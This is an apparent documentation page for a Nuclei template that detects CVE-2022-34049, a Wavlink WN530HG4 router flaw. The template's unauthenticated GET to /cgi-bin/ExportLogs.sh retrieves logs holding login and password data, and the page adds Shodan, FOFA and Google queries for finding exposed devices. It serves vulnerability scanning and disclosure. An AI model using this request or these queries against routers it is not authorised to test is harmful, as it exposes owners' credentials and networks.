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WAVLINK WN530HG4 - Improper Access Control

ID: CVE-2022-34049

Severity: medium

Author: For3stCo1d

Tags: cve,cve2022,wavlink,router,exposure

Description

Section titled “Description”

Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-34049


info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: For3stCo1d
  severity: medium
  description: |
    Wavlink WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can download log files and configuration data via Exportlogs.sh and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings, potentially leading to further compromise of the network or device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049
    - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing
    - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-34049
    cwe-id: CWE-552
    epss-score: 0.16814
    epss-percentile: 0.9604
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530hg4_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wn530hg4"
      - http.title:"wi-fi app login"
    fofa-query:
      - body="wn530hg4"
      - title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,router,exposure


http:
  - raw:
      - |
        GET /cgi-bin/ExportLogs.sh HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Login'
          - 'Password'
        condition: and


      - type: word
        part: header
        words:
          - filename="sysLogs.txt"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c560483990193698f6e0061c39c84bf1d94c62e1f717b556229ca8e242e347d6022100d07fa7a7b34bcb1e74151579bc7dc0baff21c310517387bfca9868c01bef1ca2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-34049.yaml"

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